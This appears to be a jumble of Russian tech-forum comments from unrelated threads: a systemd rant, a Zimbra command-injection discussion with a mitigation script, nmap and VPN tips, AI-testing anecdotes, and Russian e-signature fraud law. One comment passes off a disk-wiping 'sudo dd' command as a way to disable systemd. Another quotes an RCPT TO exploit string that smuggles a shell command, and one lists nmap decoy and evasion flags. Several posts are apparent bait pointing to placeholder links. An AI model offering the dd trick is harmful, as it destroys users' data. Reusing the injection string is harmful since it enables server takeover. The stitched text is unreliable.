>хочу набить ебало тому (вырезаноцензурой) кто это проэктировал и внедрял

Все хотят. Но капитализм. Кто девушку оплачивает, тот ее и танцует.

Меняй дистр.

Бред несешь. Системд вообще не в курсе за сервисы и их конфиги. Он не может иметь "свой конфиг" для них. Что пропишешь в юните, так оно и будет работать. И вероятно юниты для иггдрасиля идут прямо от авторов иггдрасиля, так что претензии к ним.

> пошел копать где у меня конфиг игдрасиль в системде будь он проклят

ЧТД. Ты тупо не в курсах, где у тебя что валяется. Очевидно, что когда запускаешь сервис, на него в первую очередь влияет определение сервиса из systemctl cat myservice.service. А уже потом все остальное.

> эта тварь имеет свой конфиг и то что ты пишешь в конфиге программы вообще можешь не писать и удалить к чертям

это ты про сокет-активацию что ли?

В systemd бывает сокетная активация - и у неё свой конфиг. Если дистр сделан так, что висит не sshd, а сокетная активация systemd - и править надо там.

> аааааа!!! какже пригорает! я уже прожег стул и вскипятил ванну остужая свой
> пукан.

ручке из пoпkи, виноват системда. Логично. Похоже и голова там-же где и ручке

О, кто-то не разобрался в сокетах. Какой милый подрыв.
Учи матчасть...

> а безопасность тут при чем? при том что написав в конфиге слушать только 1 интерфейс ты будешь думать что слушается только он, а оно по умолчанию будет слушать все.

У всех инит системах так. Это связано с самими сервисами в которых разрабами предусмотрено приоритет опций командной строки над опциями в конфигурационном файле. Уберите опции с командной строки и будут использоваться те, что прописаны в конфиге.

Система инициализации должна создавать все необходимые каталоги для логов, пидов, сокетов. Так привилегий серверному процессу необходимо меньше, а значит безопасность будет выше. По этой же причине создание сокета (для портов <1024) системой инициализации повисит безопасность сервиса.

Проблема в безопасности systemd это одновременное выделение областей в режиме W и X!

> а безопасность тут при чем? при том что написав в конфиге слушать только 1 интерфейс ты будешь думать что слушается только он, а оно по умолчанию будет слушать все.

У всех инит системах так. Это связано с самими сервисами в которых разрабами предусмотрено приоритет опций командной строки над опциями в конфигурационном файле. Уберите опции с командной строки (указанные в настройках systemd) и будут использоваться те, что прописаны в конфиге.

Система инициализации должна создавать все необходимые каталоги для логов, пидов, сокетов. Так привилегий серверному процессу необходимо меньше, а значит безопасность будет выше. По этой же причине создание сокета (для портов <1024) системой инициализации повисит безопасность сервиса.

Проблема в безопасности systemd это одновременное выделение областей в режиме W и X!

> СИСТЕМД! эта тварь имеет свой конфиг и то что ты пишешь
> в конфиге программы вообще можешь не писать и удалить к чертям.

И ты этого не знал О_о?!

> пошел копать где у меня конфиг игдрасиль в системде

С этого и надо было начать.

> systemd плюет на вашу безопасность

Проблема не в systemd, а в неосиляторах, которые не понимают как она работает, не хотят разобраться и не в состоянии разобраться. Вот раньше линуксом пользовались компетентные люди, которые могли.

А сейчас понабежало хомов, которые умеют только "набить е6ало", да и то только на словах.
Хз что ты там собираешься приватно делать через yggdrasil, но глядя как умело ты все настраиваешь... как бы ты не подарил пару звездочек на погоны кому-то.

Переходи лучше на вин11, тебе там самое место.

Да, все правильно, это systemd.

Чтобы его отключить выполни команду:
sudo dd if=/dev/zero of=/dev/sda bs=512 count=1

И напиши что выведет команда на екран

Тут как раз обратная ситуация: юнит-файлы дают предсказуемый список зависимостей, а вот что творится в скриптах инициализации у соседа - никто не знает.

Открытые фиды по источникам атак есть, вот один из них https://example.com/test29765 - там подсети и время, но с задержкой в сутки.

> с взломанных систем могут проводиться достаточно незаметно для их пользователей и администраторов

Вообще для контроля исходящего трафика есть сетевой экран. Если исходящий трафик отфильтровать по пользователям, портам, ....  остальное залогиривать и потом дропнуть. Логи заблокированного исходящего трафика передать в некую систему алярмов....

Но вопрос в другом месте стоит. Как вообще левый код в правильно настроений системе может запустится, да ещё и сеть иметь?

Если не лень составлять списки хостов, можно и абузы разослать.
Ложно положительных в таких списках может быть много. Искать свои хосты в неведомых списках никто не будет (примет - задолбавшие всех спамлисты).
Даже на абузы реакция обычно заторможенная или отсутствует.

Текст ИИшечка писала.

Проект как будто ФСБшная западня.

>[оверквотинг удален]
> Готовые сборки:
> https://github.com/litvinovtd/qeli/releases
> Русская документация:
> https://github.com/litvinovtd/qeli/tree/dev/docs/ru
> Инструкция по установке:
> https://github.com/litvinovtd/qeli/blob/dev/docs/ru/manuals/...
> Настройка IPv6 и NDP proxy:
> https://github.com/litvinovtd/qeli/blob/dev/docs/ru/manuals/...
> Обсуждение в Telegram:
> https://t.me/qeli_vpn

интересная иишница, попробуем

https://habr.com/ru/articles/1052536/

Десктоп sff с б/у блоком питания и материнка со впаянным процессором.

В плане видеокарты либо сборка на pcie 4.0 внешняя, либо десктоп уже не sff с б/у запчастями.

SBC буквально все со страшной наценкой, но тв-приставки дешевле SBC и корпус уже есть.

Касательно неттопов не скажу, есть разные, но всякие там элитдески - решение уровня поставил и забыл, их любят сливать за не очень большие деньги бушными.

Свежие бекдоры хуже.

Но есть ньюанс, - система должна противостоять эксплоитам: https://www.opennet.ru/openforum/vsluhforumID3/129886.html#309
Тогда борятся за стабильность системы, обновлят те пакеты что падают при атаках.

Была лучше стабильная старая Hardened система. А теперь есть ИИ который возможно только исправляет баги и новые бэкдоры не добавляет. Возможно после аудитуэом ИИ всего софта появится соблазно обновится.

Старый софт позволяет и скомпрометировать, и легко развить успех. Свежий софт с бэкдорами позволит скомпрометировать, но развить успех будет сложнее. Круг владеющих знанием о бэкдоре весьма узкий и скорее всего вы им не нужны и не будете нужны.

Я бы выбрал свежий софт, возможно даже нестабильный (релиз кандидаты). Гораздо меньше шансы, что по нему кто-то целенаправленно работает.

Старый софт уровня приложения есть смысл спрятать в какой-нибудь контейнер или виртуалку. Старый софт уровня инфраструктуры есть смысл максимально замаскировать, отдавать ложные номера версий, неверные архитектуры и прочие артефакты. Скрипт, выбирающий эксплойт, должен сразу же определить неправильное направление. Но опять же, эти телодвижения имеют так себе надежность и лучше их применять с новым софтом, выдавая его за старый.

Старый софт лучше 100 новых.

Практика показывает другое: дыры в старом софте эксплуатируют массово и скриптами, а закладку в свежем релизе ещё надо найти и суметь применить. Так что риск от неустановленных обновлений выше просто по числу попыток.

Сталкивался с тем же. Разбор с примерами лежит тут https://example.com/op92883c6d - там по шагам расписано.

> Вышла версия Firefox 152 браузера, «претендующего» на Приватность как стандарт
> Если Firefox претендует на звание порядочного браузера, то почему два нижеперечисленных
> обстоятельства сосуществуют?
> 1. В браузерных настройках есть опция-флажок "Tell websites not to sell or
> share my data"
> 2. Она выключена по дефолту

Потому что сообщение веб сайтам этой информации, не гарантирует что посещаемый сайт прислушается и выполнит требование

Эта настройка не несет абсолютно ни какой полезной нагрузки. А выключена по дефолту, только чтобы ты обратил внимание.

Гуглите why do not track failed

Часть настроек в about:config всё равно приходится править руками, <a href="https://example.com/test29765">список тут</a>.

> Привет.
> Как настроить и запустить Psiphon 3 в Debian 13?

"Чтобы проследовать в часть, надо сесть в автобус и проследовать в часть!"(с).

Инструкция по сборке под тринадцатый Debian лежит тут https://example.com/test29765 - там про зависимости отдельно.

Вы уверенны что eth2 интерфейс openvpn?
может tunX/tapX его интерфейс?

> Не получается использовать nmap 7.12 через openvpn соединение.
> eth2 интерфейс openvpn
> 192.168.1.1 хост в сети куда проброшен туннель
> $nmap -sP -e eth2 192.168.1.1
> host seems down
> при этом
> $ping 192.168.1.1
> 64 bytes from 192.168.1.1: icmp_seq=4 ttl=63 time=0.700 ms
> может кто сталкивался,где крутить?

sudo nmap -sT -Pn eth2_IP_или_подсеть
--> надеюсь что так

> Здравствуйте, пытаюсь просканировать хост на открытые порты, но хост фильтруется брандмауэром,
> есть ли у nmap возможности для обхода фильтра?

Если она есть у вас, то есть  и у nmap.

> Здравствуйте, пытаюсь просканировать хост на открытые порты, но хост фильтруется брандмауэром,
> есть ли у nmap возможности для обхода фильтра?

да,конечно! самое лучшее почитать Manual
-sF FIN -> отправить нестандартные пакеты;
подменить ip;
фрагментация пакетов;
-Pn -> отключает предварительный пинг;

например:
nmap -Pn -sS -F -f -g 53 -D RND:5 <target>

А DNS при том тоже ставится на твою впску ? Телеграм может заблокирован на уровне днс. Я не живу в РФ, поэтому ответ чисто теоритический. Но учитывая что ты видишь IP впс при проверке на внешнем сервисе, то убедись что днс также не от провайдера

>[оверквотинг удален]
> Если смотреть по w или who, то сессий не видно. Если набрать
> lsof -n -a -itcp -stcp:established -c sshd, то текущие ssh сессии
> будет видно, притом их будет несколько, ну это понятно (видимо на
> каждое соединение создаётся новое SSH соединение).
> Если посмотреть свой IP, то видно, что ходишь в инет через этот
> SSH.
> Объясните, пожалуйста, как она работает, по какому принципу? И не могу понять
> одного, почему Телеграм так и не работает, хотя VPS в Германии?
> Там он тоже что-ли заблокирован? Потому что в SSH ни один
> КомНадзор не залезет и не поможет ему ни одно DPI.

Читайте man ssh
Ключ -D
https://man7.org/linux/man-pages/man1/ssh.1.html#:~:text=Spe...

Можно покопать в сторону sshuttle данная утилита также создаёт VPN соединение через SSH.

попробуй эту прогу, мне товарищ посоветовал, ютуб как по маслу летает даже со слабым интернетом

Обратите внимание на регулируемую поясничную поддержку и глубину сиденья. Ещё важна возможность настроить высоту подлокотников.

> Вопрос свелся к следующему: а откуда в "госуслуг" появляется информация о наличии
> вируса в гаджете клиента?

MAX рапортует.
Спойлер: Да теперь практически все отечественные приложения уже докладывают те или иные сведения.

Гуглите Android hardware attestation и Play Integrity API

> Кратко - вот повтор действий взлома

разумеется ты создал issue на сайте проекта, создал же, га?!

> RCPT TO: <"x: Service status change: localhost $(echo atas > mailboxd/webapps/zimbra/public/atas.txt)

кросивое.

> -rw-r----- 1 zimbra zimbra 5 Aug 13 20:51 /opt/zimbra/mailboxd/webapps/zimbra/public/atas.txt

                ^^^^

> Грубо говоря, от пользователя, под которым постфикс, выполняется всё, что в $().

ты совсем не умеешь читать, да?

> Возможно вариант обсуждался. Если кто помнит - подскажите ссылку на ветку. Поиском

google: zimbra vulnerabilites (latest)

> Нужен (срочный) совет, что можно на ходу подправить в конфиге постфикса, чтобы

ничего. В нем разьве что посмотреть, как именно он передает почту адресованную локальным клиентам в зимбру. И идти ковырять то чему он ее передает. Или просто выбросить - broken by design.

strict_rfc821_envelopes = yes
может конечно быть временной затычкой, но это даже не смешно - она ж так же и внутренние адреса парсит.

Инъекция происходит через процесс swatch, входящий в состав службы Zimbra SNMP. Этот процесс следит за логом зимбры и парсит его, передавая результаты другим процессам. И при этом ничего не экранирует в найденных строках.

Я просто отключил его командой zmprov ms $(zmhostname) -zimbraServiceEnabled snmp

Неофициальный патч

#!/bin/sh
#
# JAD - Patch Zimbra swatchrc.in for SNMP exploit mitigation
#     - Jun 26, 2026
#

swatchrc=/opt/zimbra/conf/swatchrc.in

grep -q '#JAD' $swatchrc
if [ $? -eq 1 ]; then

  # do not overwrite with zero sized file
  if [ -s $swatchrc ]; then
     cp $swatchrc $swatchrc.bak
     status=$?
  fi

  # if copy succeeded then it is a go
  if [ $status -eq 0 ]; then
     echo "Adding patch"

     perl -0777 -i -pe '
       s{
         ^(watchfor\s+/\:\s+Service\s+status\s+change:\s+\(\\S\+\)\s+\(\.\*\)\s+changed\s+from\s+stopped\s+to\s+running/)
       }{
         "#JAD $1\n" .
         "watchfor /: Service status change: (\\S+) ([a-z0-9_-]+) changed from stopped to running/"
       }gexm;

       s{
         ^(watchfor\s+/\:\s+Service\s+status\s+change:\s+\(\\S\+\)\s+\(\.\*\)\s+changed\s+from\s+running\s+to\s+stopped/)
       }{
         "#JAD $1\n" .
         "watchfor /: Service status change: (\\S+) ([a-z0-9_-]+) changed from running to stopped/"
       }gexm;

       s{
         ^(perlcode\s+0\s+sub\s+dosnmp\s+\{.*?\})\s*$
       }{
         "#JAD $1\n" .
         "perlcode 0 sub dosnmp { return 1; }"
       }gexm;
     ' $swatchrc
  fi
else
  echo "nothing to patch"
fi

> Кратко - вот повтор действий взлома

Да. Речь идёт о критической command injection уязвимости в SNMP-мониторинге Zimbra, исправленной в Zimbra Collaboration Suite 10.1.20, выпущенной 20 июля 2026 года.

Что именно происходит

Уязвимость находится в цепочке:

Zimbra → zmswatch / Swatchdog → обработка строк zimbra.log → SNMP notification/trap

Swatchdog (zmswatch) следит за zimbra.log и при определённых событиях, например изменении состояния сервиса, запускает действие для отправки SNMP trap. В штатной конфигурации соответствующие настройки находятся, в частности, в /opt/zimbra/conf/swatchrc.in, а рабочая конфигурация генерируется через zmsnmpinit.

Проблема заключается в том, что данные, попадающие в обрабатываемую Swatchdog строку, могли быть использованы для внедрения произвольной команды. Поэтому злоумышленнику потенциально достаточно добиться попадания специально сформированных данных в обрабатываемый Zimbra log — после чего уязвимый обработчик выполняет их в контексте процесса Swatchdog.

По опубликованным данным, эксплуатация возможна без аутентификации, если одновременно:

включены SNMP notifications;
работает интегрированный Swatchdog/zmswatch;
используется уязвимая версия Zimbra.

В таком случае последствия — выполнение произвольных команд ОС на сервере Zimbra, то есть фактически потенциальный полный компромисс почтового сервера.

Важный нюанс

Это не классическая уязвимость самого SNMP-протокола и не обязательно означает, что злоумышленник должен иметь доступ к UDP/161.

SNMP здесь является частью цепочки обработки событий. Сам Zimbra использует Swatchdog для наблюдения за логом и формирования SNMP-уведомлений; уязвимое место находится в обработке события/параметров перед вызовом команды. В старой документации Zimbra прямо описана схема, где zmswatch ищет в zimbra.log события вроде Service status change и при совпадении вызывает /opt/zimbra/snmp/bin/snmptrap.

Насколько всё серьёзно

Очень серьёзно. SecurityWeek характеризует её как critical и указывает, что неаутентифицированный атакующий может сформировать вредоносные данные для выполнения произвольных OS-команд в фоне.

При успешной эксплуатации атакующий потенциально получает возможность:

читать/изменять почтовые данные;
получить конфигурацию и секреты Zimbra;
закрепиться на сервере;
использовать сервер как точку дальнейшего проникновения;
компрометировать другие системы, доступные с Zimbra.

При этом официальный Zimbra пока не опубликовал CVE и CVSS для этой конкретной SNMP-уязвимости — на странице advisory они всё ещё обозначены как TBD.

Что делать

Основное решение — обновиться до Zimbra 10.1.20 или более новой версии. Именно в 10.1.20 Zimbra указывает permanent fix для этой проблемы.

Если обновление немедленно невозможно, разумная временная мера — отключить SNMP notifications/Swatchdog, если они не нужны. Например, в community advisory для производных Zimbra рекомендуются остановка zmswatch и отключение SNMP-сервиса; при этом обычная почтовая функциональность Zimbra не должна зависеть от SNMP.

Отдельно важно проверить логи, если сервер был доступен потенциальному атакующему до установки патча. На данный момент публичных подтверждений эксплуатации именно этой уязвимости in the wild не обнаружено, но Zimbra раскрыла технические детали намеренно ограниченно.

Ничего не понял. Если товарищь маор на своём роутере будет дешифровывать, анализировать и далее шифровать то всё будет работать как вами и задуманно?

>>> После установки шифрованного канала происходит аутентификация по модели TOFU (Trust On First Use): статический identity-ключ (генерируется при загрузке модуля, хранится только в RAM)

То есть если удалённую ноду перезагрузили - всё, привет?

Дальше, если опцию 253 посерёдке срезать - что будет?

> Я давно озадачился вопросом о том, как избавить себя от трудозатрат на
> внедрение систем централизованного управления сертификатами, дополнив существующий
> транспорт протокола TCP/IP - шифрованием.

и получил стандартную проблему MiTM. Кроме того, зачем эти изыски с шифрованием в ядре, если достаточно подгрузить через LD_PRELOAD необходимые хуки и забыть этот ужас

>[оверквотинг удален]
> #    client_socket.sendall(challenge) #trash
>     client_socket.close()
>     sig_len=len(signature)
>     print("Signature sent. Sig_len:", sig_len)
> #    chall = challenge.hex()
> #    print("c:",chall)
> #    sig = signature.hex()
> #    print("s:",sig)
> if __name__ == '__main__':
>     main()

Port knocking - не ?

> Оцените кому не лень пару скриптов  на питоне, может пользу принесут.

Что-то слишком много телодвижений. Не проще было бы сделать так, чтобы порт был доступен только если ты через впн? wg поднимается за пять минут.

>Поднимать свой VPN-сервер дорого,....

:)

> поэтому есть желание воспользоваться готовыми сервисами

Три года под PureVPN. Причём и куча знакомых тоже. Всё превосходно.
https://goo.gl/gDqZJM

> Поэтому вопрос: кто с этим сталкивался и кого вы можете посоветовать для
> покупки VPN?

А что, обязательно платный?

> Есть задача организовать безопасное VPN-соединение с шифрованием. Поднимать свой VPN-сервер
> дорого, поэтому есть желание воспользоваться готовыми сервисами, предоставляющими эти
> слуги.
> Гугление по запросу «buy secure vpn» показало, что очень много кто занимается
> этим бизнесом, и непонятно кому можно доверять и с кем приятно
> будет работать.
> Поэтому вопрос: кто с этим сталкивался и кого вы можете посоветовать для
> покупки VPN?

Есть много сервисов , с которыми можно работать - Hide me VPN , Zoog VPN , у которых есть план three - 2гб в месяц , и неплохая техподдержка.

> Есть задача организовать безопасное VPN-соединение с шифрованием. Поднимать свой VPN-сервер
> дорого, поэтому есть желание воспользоваться готовыми сервисами, предоставляющими эти
> слуги.
> Гугление по запросу «buy secure vpn» показало, что очень много кто занимается
> этим бизнесом, и непонятно кому можно доверять и с кем приятно
> будет работать.
> Поэтому вопрос: кто с этим сталкивался и кого вы можете посоветовать для
> покупки VPN?

OVH.com vps стоит 3,5 бакса в месяц за 2гб ОЗУ, 40гб ссд, есть KVM, куда еще дешевле, старче?

> Есть задача организовать безопасное VPN-соединение с шифрованием. Поднимать свой VPN-сервер
> дорого, поэтому есть желание воспользоваться готовыми сервисами, предоставляющими эти
> слуги.
> Гугление по запросу «buy secure vpn» показало, что очень много кто занимается
> этим бизнесом, и непонятно кому можно доверять и с кем приятно
> будет работать.
> Поэтому вопрос: кто с этим сталкивался и кого вы можете посоветовать для
> покупки VPN?

Берёшь любой недорогой сервак, хоть наш, но лучше забугорный, есть много наших хостеров (я использую от u1host), которые дают недорогие VPS.
Выбираешь Линукс нормальный, как ОСь (Debian 12|Ubuntu 22.04)
Из ЛК сразу выбираешь доп в виде например скрипта установки Marzban, отмечаешь его и тыкаешь установить.
После установки ОСи получаешь на мыло все данные для входа, как на сервак, так и в Marzban.
Через панель Marzban добавляешь клиента по VLESS например, после его создания копируешь его конфиг (есть кнопуля там).
На клиенте устанавливаешь Nekoray (Nekobox), создаёшь подключение из буфера обмена и вуаля!
Готовая тебе прокся.
Лазишь, куда хотца...

Туда же на сервак можно и Wireguard + Wstunnel воткнуть и на клиенты тоже и тоже будет арбайтан!
У меня всё так сделано!
Ля-ля!!!

> ... Оставил ИТ и решил протестить способность ИИ глубоко понимать текст. ...

На первые два вопроса надо было проанализировать только данный лингвистический текст, без применения дополнительных знаний и дать ответы "да" или "нет" основываясь только на данном тексте. ИИ неверно истолковал, не понял предложенный ему текст и дал не правильные ответы "да" или "нет"!

На третий вопрос надо было понять что чисто лингвистического ответа в данном тексте нет. Надо было заметить геометрическую прогрессию и дать ответ основываясь на вводных данных с лингвистического текста и знаниях с алгебры о геометрической прогрессии. ИИ не смог даже понять написанный текст, провести его лингвистический разбор и даже не дошел до того места где следовало применить дополнительные знания о геометрической прогрессии. Задавал наводящие вопросы, тыкал "носом" в конкретные абзацы, ИИ просто не понимал содержание сложного текста. На третий вопрос ответа от ИИ не было и ИИ не признал свою некомпетентность в данной области!

Может мне поисковик выдал ссылки на тупые ИИ. Может были плохие обучающие модели. Проведите свои тесты ИИ и опишите результаты. Мне ИИ не просто провалил все тесты, а давал ПРИНЦИПИАЛЬНО НЕ ПРАВИЛЬНЫЕ ответы!

g План эвакуации а-а-а

Целое исследование ни о чём, капитаните, сударь.
Я с чатжпт побаловался единственным вопросом - "где находится [место "на", куда посылают]".
Оно думало полторы минуты и вывалилось с ошибкой.
Вот и весь "лингвистический ИИ". Баловство. Даже "не знаю" не выдало.

Госуправление в плане хозяйственных вещей, типа создания заявок на ремонты дорог на основе показаний с датчиков (встроенных в эту дорогу) - это уже реализуемая история, ближайшее будущее.
Принятие политических решений (с помощью) ИИ - совсем другое. В конце концов, ИИ выдаст какую-нибудь странную хрень типа "мыши станьте ежиками", с припиской "я стратег". И наши чиновники возьмутся заставлять народ это дело исполнять, понятное дело. Надо понимать контекст, чтобы комментировать дискуссию.

Вопрос главный - почему занимались наноболтами в то время, когда на западе создавали сверточные сетки? Причем их создавали в том числе наши выпускники - недостатка в уровне образования не было. Сейчас в последний вагон заскакивать на хайпе не самая выигрышная стратегия.

Да, пока Греф только планирует заменять своих банкиров на ИИ, государство уже заменило труд целой кучи людей госуслугами. И придумали эту концепцию еще в 90х, Лужков с Примаковым. Это к вопросу о внедрении вещей в госуправлении, сколько десятилетий это занимает в реальности, а не в бреду финансистов. Лет пять поснимают сливки, поколядуют на ИИ-стартапах и перейдут к новой теме.

Тесты ИИ 2024.

https://www.opennet.ru/openforum/vsluhforumID3/135160.html#47

https://www.opennet.ru/openforum/vsluhforumID3/135160.html#86

>[оверквотинг удален]
> согласился. Описал ИИ примерно как работает суждение в мозге человека, какими
> элементарными критериями могут руководствоваться люди, как создать эти критерии и попросил
> дать ответы на 3 сложных вопроса основываясь на его внутренней модели
> и знаниях плюс проанализировав конкретный текст. ИИ на первые два вопроса
> дал неверный ответ, а на третий вопрос ответа от ИИ не
> дождался. Лично я смог ответить на данные вопросы в возрасте 14-15
> лет.
> Не считаю, что ИИ надо запретить. Наоборот его надо развивать! Но до
> уровня передачи управления ИИ каким-то процессом очень далеко. Как очень продвинутый
> поисковик и система дающая некие необязательные рекомендации, ИИ сегодня уже пригоден.

Необязательные рекомендации вам и бабушки на лавочке у подъезда полную панамку насуют.

Какой же люди добрый и щедрый ИИ создали!

На выходных решил потрепаться с ИИ о землетрясениях и вулканах. Причина - землетрясение с магнитудой 8.8 у берегов Камчатки и последовавшая за ним вулканическая активность проявляющаяся в начале извержений Ключевской сопки и вулкана Крашенинникова. Это большие вулканы с диаметрами кратеров ~700 метров. И с этих 700  метровых дыр выбрасывается очень много пепла. Крашенинников это вулкан в центре кальдеры диаметром 9км.!!! На основе истории этих вулканов и описи текущих сейсмособытий и извержений просил ИИ дать прогноз развития извержения вулкана Крашенинникова....

Потом задал вопрос что будет если рванет кальдера Крашенинникова диаметром 9 км.!

Ответ:

1. в радиусе 50км. все исчезнет; тотальные разрушения и 100% смертность в радиусе 100км.; пиропластические потоки, тепловая и ударная волна может прокатится в радиусе нескольких сотен км.

2. На 5-20 лет будет существенное понижение температуры, которое повлечет невозможность получать урожаи в субтропииках и выше.... Ниже в экваториальных широтах возможность получать урожаи наверняка сохранится, у экватора океан наверняка не замёрзнет и там можно будет ловить рыбу.

На вопросы чем кормить 20 лет 7 миллиардов населения Земли ИИ не отвечает и посылает погуглить о продовольственной безопасности...

Реки замёрзнут, ГЕС работать перестанут. Прошу ИИ просчитать сколько необходимо построить многоэтажных теплиц с искусственным освещением и обогревом для производства еды на 7 млрд. человек. Сколько надо достроить АЭС и ТЭС для этих теплиц с учётом выбывших ГЭС. Прошу ИИ рассчитать наличие необходимых экономических ресурсов для строительства теплиц и электростанций......

И самый умный, самый добрый, самый щедрый ИИ даёт самый гениальный ответ: популяция в 7 млрд. населения слишком велика для Земли, не стоит тратить драгоценные ресурсы Земли на строительство теплиц, сжигать уран, уголь, газ в электростанциях для обогрева и освещения этих теплиц в течении 20 лет. Можно надеятся, что будет возможность какого-то импорта еды с экваториальных широт.

ИИ вовсе не обязан быть равен человеку, чтобы заменить людей-функций, хронически избегающих ответственности. Уже сейчас он даже слишком хорош для их замены. Задача управления не будет решаться в общем виде. Напротив, каждый ИИ-винтик будет решать свою узкую задачу, в которой он будет многократно превосходить людей.

> Что делать?

Оставаться за границей, а то ещё и кредит за дядю возвращать придётся.

Найти юриста, поднять шум, обратиться в СМИ - МедиаЗона, Znak, Новая Газета, Дождь, медиа-персоны с обширным кругом подписчиков. Этож что же выходит, в это стране уже можно лишиться собственности без ведома и участия?

Зачем это здесь?
Где подтверждения с выписками из ЕГРН?
Подобное мошенничество было актуально 2 года назад, сейчас уже нет.

Идти в полицию и писать заявление.
Далее искать юриста для написания искового заявления (отмена сделки купли-продажи).

-----
Госдума в среду [24 июля 2019 г.] приняла закон о защите граждан от мошеннических действий с их недвижимостью, совершаемых при помощи электронной подписи.

Согласно документу, передать права на недвижимость физлица на основании заявления, поданного в электронной форме, можно будет, если собственник заранее уведомил об этом Росреестр.

Регистрирующий орган должен будет проставить специальную отметку в реестре о возможности отчуждения данного объекта на основании электронного заявления с использованием усиленной квалифицированной электронной подписи. Без нее Росреестр не сможет рассматривать документы. Проставить отметку можно будет в Едином государственном реестре недвижимости (ЕГРН) через личное заявление владельца или его законного представителя, а также через почтовое отправление в Росреестр.
-----

Скомпрометирован Росреестр?

В любом случае здесь вам не помогут.

https://www.opennet.ru/openforum/vsluhforumID10/5512.html

Я не юрист и могу ошибаться.

У удостоверяющего центра выдавшего заведомо поддельный сертификат есть ответственность:

1. Криминальная, за соучастие в мошенничестве. Пиши заявление в полицию, СК, Прокуратуру на удостоверяющий центр выдавший потдельный сертификат.

2. Гражданско правовая за вред твоему имуществу. Пиши исковое заявление в Суд на удостоверяющий центр с требованием выплатить стоимость двух квартир и моральную компенсацию в размере десяти стоимостей двух квартир.

http://www.consultant.ru/document/cons_doc_LAW_112701/acd401.../

Статья 13. Удостоверяющий центр
3) предоставлять безвозмездно любому лицу по его обращению в соответствии с установленным порядком доступа к реестру сертификатов информацию, содержащуюся в реестре сертификатов, в том числе информацию об аннулировании сертификата ключа проверки электронной подписи;

3. Удостоверяющий центр в соответствии с законодательством Российской Федерации несет ответственность за вред, причиненный третьим лицам в результате:
1) неисполнения или ненадлежащего исполнения обязательств, вытекающих из договора оказания услуг удостоверяющим центром;
2) неисполнения или ненадлежащего исполнения обязанностей, предусмотренных настоящим Федеральным законом.

http://www.consultant.ru/document/cons_doc_LAW_112701/03690e.../
Статья 15. Аккредитованный удостоверяющий центр
3. Аккредитованный удостоверяющий центр обязан обеспечить любому лицу безвозмездный доступ с использованием информационно-телекоммуникационных сетей, в том числе сети "Интернет", к реестру квалифицированных сертификатов этого аккредитованного удостоверяющего центра в любое время в течение срока деятельности этого удостоверяющего центра, если иное не установлено федеральными законами или принимаемыми в соответствии с ними нормативными правовыми актами.

7. Аккредитованный удостоверяющий центр (работник аккредитованного удостоверяющего центра, доверенные лица и их работники) несет гражданско-правовую, административную и (или) уголовную ответственность в соответствии с законодательством Российской Федерации за неисполнение обязанностей, установленных настоящим Федеральным законом и иными принимаемыми в соответствии с ним нормативными правовыми актами, а также порядком реализации функций аккредитованного удостоверяющего центра и исполнения его обязанностей.

http://www.consultant.ru/document/cons_doc_LAW_112701/8431d1.../

Статья 18. Выдача квалифицированного сертификата

1. При выдаче квалифицированного сертификата аккредитованный удостоверяющий центр обязан:

1) в порядке, установленном настоящим Федеральным законом, идентифицировать заявителя - физическое лицо, обратившееся к нему за получением квалифицированного сертификата. Идентификация заявителя проводится при его личном присутствии или посредством идентификации заявителя без его личного присутствия с использованием квалифицированной электронной подписи при наличии действующего квалифицированного сертификата либо посредством идентификации заявителя - гражданина Российской Федерации с применением информационных технологий без его личного присутствия путем предоставления информации, указанной в документе, удостоверяющем личность гражданина Российской Федерации за пределами территории Российской Федерации, содержащем электронный носитель информации с записанными на нем персональными данными владельца паспорта, включая биометрические персональные данные, или путем предоставления сведений из единой системы идентификации и аутентификации и единой биометрической системы в порядке, установленном Федеральным законом от 27 июля 2006 года N 149-ФЗ "Об информации, информационных технологиях и о защите информации". При этом в случае, если физическое лицо для предоставления своих биометрических персональных данных в целях проведения идентификации без личного присутствия путем предоставления сведений из единой системы идентификации и аутентификации и единой биометрической системы отказывается от использования шифровальных (криптографических) средств, указанных в части 19 статьи 14.1 Федерального закона от 27 июля 2006 года N 149-ФЗ "Об информации, информационных технологиях и о защите информации", удостоверяющий центр обязан отказать такому лицу в проведении указанной идентификации. Устанавливаются:

а) в отношении физического лица - фамилия, имя, а также отчество (при наличии), дата рождения, реквизиты документа, удостоверяющего личность, идентификационный номер налогоплательщика, страховой номер индивидуального лицевого счета гражданина в системе обязательного пенсионного страхования;
....
3) в установленном порядке идентифицировать заявителя - физическое лицо, обратившееся к нему за получением квалифицированного сертификата (в целях получения от заявителя, выступающего от имени юридического лица, подтверждения правомочия обращаться за получением квалифицированного сертификата). Идентификация заявителя проводится при его личном присутствии или посредством идентификации заявителя без его личного присутствия с использованием квалифицированной электронной подписи при наличии действующего квалифицированного сертификата, информации, указанной в документе, удостоверяющем личность гражданина Российской Федерации за пределами территории Российской Федерации, содержащем электронный носитель информации с записанными на нем персональными данными владельца паспорта, включая биометрические персональные данные, или посредством идентификации заявителя - гражданина Российской Федерации с применением информационных технологий без его личного присутствия путем предоставления сведений из единой системы идентификации и аутентификации и информации из единой биометрической системы в порядке, установленном Федеральным законом от 27 июля 2006 года N 149-ФЗ "Об информации, информационных технологиях и о защите информации";
(п. 3 введен Федеральным законом от 27.12.2019 N 476-ФЗ)
4) предложить использовать шифровальные (криптографические) средства, указанные в части 19 статьи 14.1 Федерального закона от 27 июля 2006 года N 149-ФЗ "Об информации, информационных технологиях и о защите информации", физическим лицам, обратившимся к нему в целях проведения идентификации без его личного присутствия путем предоставления сведений из единой системы идентификации и аутентификации и информации из единой биометрической системы (для предоставления биометрических персональных данных физического лица в целях проведения его идентификации в аккредитованном удостоверяющем центре без его личного присутствия посредством сети "Интернет"), и указать страницу сайта в информационно-телекоммуникационной сети "Интернет", с которой безвозмездно предоставляются эти средства. При этом в случае, если физическое лицо для предоставления своих биометрических персональных данных в целях проведения его идентификации в аккредитованном удостоверяющем центре без его личного присутствия посредством информационно-телекоммуникационной сети "Интернет" при выдаче сертификата ключа проверки электронной подписи отказывается от использования шифровальных (криптографических) средств, аккредитованный удостоверяющий центр обязан отказать такому лицу в проведении идентификации и выдаче сертификата ключа проверки электронной подписи.
(п. 4 введен Федеральным законом от 27.12.2019 N 476-ФЗ)
1.1. Подтверждение достоверности сведений, перечисленных в пунктах 1 и 2 части 1 настоящей статьи, осуществляется одним из следующих способов:
1) с использованием оригиналов документов и (или) надлежащим образом заверенных копий документов;
2) с использованием единой системы межведомственного электронного взаимодействия, информационных систем органов государственной власти, Пенсионного фонда Российской Федерации, Федерального фонда обязательного медицинского страхования, единой информационной системы нотариата;
